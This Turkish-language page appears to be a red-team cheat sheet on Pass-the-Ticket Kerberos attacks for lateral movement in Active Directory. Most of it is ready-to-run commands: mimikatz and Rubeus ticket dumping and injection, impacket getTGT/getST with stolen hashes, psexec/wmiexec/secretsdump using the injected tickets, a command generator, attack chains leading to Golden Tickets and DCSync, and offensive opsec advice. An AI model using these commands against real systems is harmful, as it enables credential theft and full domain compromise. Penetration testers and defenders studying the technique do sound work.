Pass-the-Ticket
MITRE ATT&CK · T1550.003 phase: lateral movement
MITRE ATT&CK · T1550.003 phase: lateral movement
Pass-the-Ticket (PtT), elde edilen bir Kerberos biletinin (TGT veya TGS) oturuma enjekte edilerek / KRB5CCNAME ile yüklenerek kimlik doğrulama için kullanılmasıdır. Bilet; bellekten çalınabilir (sekurlsa::tickets, Rubeus dump), forge edilebilir (Golden/Silver), S4U / PKINIT / getTGT ile üretilebilir.
NTLM kapalı veya Protected Users senaryolarında PtH yerine PtT zorunludur.
Bilet kaynakları
Section titled “Bilet kaynakları”Rubeus dump / mimikatz sekurlsa::tickets → çalıntı TGT/TGS (.kirbi)impacket-getTGT / getST / ticketer → .ccachecertipy auth / gettgtpkinit → PKINIT TGTOver-Pass-the-Hash (asktgt /rc4) → hash'ten TGTUnconstrained delegation monitor → yakalanan TGTLinux (impacket) akışı
Section titled “Linux (impacket) akışı”-
Bileti hazırla — .ccache (impacket) veya .kirbi → dönüştür:
Terminal window impacket-ticketConverter ticket.kirbi ticket.ccacheTerminal window impacket-ticketConverter ticket.ccache ticket.kirbi -
Ortama yükle :
Terminal window export KRB5CCNAME=$(pwd)/ticket.ccacheTerminal window klist -
Kerberos ile kimlik doğrula ( -k -no-pass ) — FQDN kullan:
Terminal window impacket-psexec -k -no-pass domain.local/Administrator@dc01.domain.localTerminal window impacket-wmiexec -k -no-pass domain.local/Administrator@server01.domain.localTerminal window impacket-smbclient -k -no-pass domain.local/Administrator@server01.domain.localTerminal window impacket-secretsdump -k -no-pass domain.local/Administrator@dc01.domain.localTerminal window impacket-mssqlclient -k -no-pass domain.local/Administrator@sql01.domain.localTerminal window evil-winrm -i dc01.domain.local -r domain.local # ccache ile (yapılandırmaya bağlı)
Windows (mimikatz / Rubeus)
Section titled “Windows (mimikatz / Rubeus)”mimikatz # sekurlsa::tickets /exportmimikatz # kerberos::ptt C:\temp\ticket.kirbimimikatz # kerberos::listRubeus.exe ptt /ticket:C:\temp\ticket.kirbiRubeus.exe ptt /ticket:base64ticket==Rubeus.exe dump /service:krbtgt /nowrapRubeus.exe renew /ticket:ticket.kirbi /ptt # yenilenebilir TGTRubeus.exe tgtdeleg /nowrapklistklist purgegetTGT / getST üretimi (PtT öncesi)
Section titled “getTGT / getST üretimi (PtT öncesi)”impacket-getTGT domain.local/user:'Pass123' -dc-ip 10.10.10.5impacket-getTGT domain.local/user -hashes :NTHASH -dc-ip 10.10.10.5impacket-getTGT domain.local/user -aesKey AESKEY -dc-ip 10.10.10.5impacket-getST -spn cifs/server01.domain.local \ -impersonate Administrator domain.local/svc:'Pass' -dc-ip 10.10.10.5DNS, krb5.conf ve clock skew
Section titled “DNS, krb5.conf ve clock skew”10.10.10.5 dc01.domain.local domain.localsudo ntpdate dc01.domain.localKerberos IP ile çalışmaz → SPN host/fqdn gerekirClock skew > 5 dk → KRB_AP_ERR_SKEWKomut üreteci
Section titled “Komut üreteci”Pass-the-Ticket · psexec -k
embedded toolGenerated command
export KRB5CCNAME=admin.ccache && impacket-psexec -k -no-pass dc01.domain.localPass-the-Ticket · psexec -k
Section titled “Pass-the-Ticket · psexec -k”Saldırı zinciri
Section titled “Saldırı zinciri”Shadow Credentials → gettgtpkinit → ccache → PtT secretsdump -k → krbtgt → Golden → uzun vadeli PtT
veya:Rubeus monitor (UD) → DC$ TGT ptt → DCSyncOpsec (ofansif)
Section titled “Opsec (ofansif)”- Çalıntı TGT’yi export etmek LSASS erişimi ister — zaten yüksek yetki.
- Forge Golden/Silver PtT, çalıntı bilete göre farklı lifetime/PAC alanları taşır; AES + gerçek userId tercih et.
- klist purge sonrası temiz oturum; başka operatörün biletini karıştırma.
- Yenilenebilir TGT’yi ( renew ) uzun operasyonlarda kullan — sürekli AS-REQ azaltır.
Yaygın tuzaklar
Section titled “Yaygın tuzaklar”- KRB5CCNAME relatif path → başka cwd’de kaybolur; absolute path ver.
- Domain kısmını yanlış yazmak ( DOMAIN.LOCAL vs domain.local ) — genelde case-insensitive ama realm krb5.conf ile uyumlu olsun.
- Silver Ticket varken CIFS dışı servise gitmek.
- Windows’ta PTT sonrası yeni process’in bileti görmemesi — aynı logon session’da çalıştır / runas /netonly dikkat.
- Bastion’da DNS yok → /etc/hosts unutulmuş.
Sonraki adımlar
Section titled “Sonraki adımlar”Golden Ticket · Silver Ticket · Exec methods · Delegation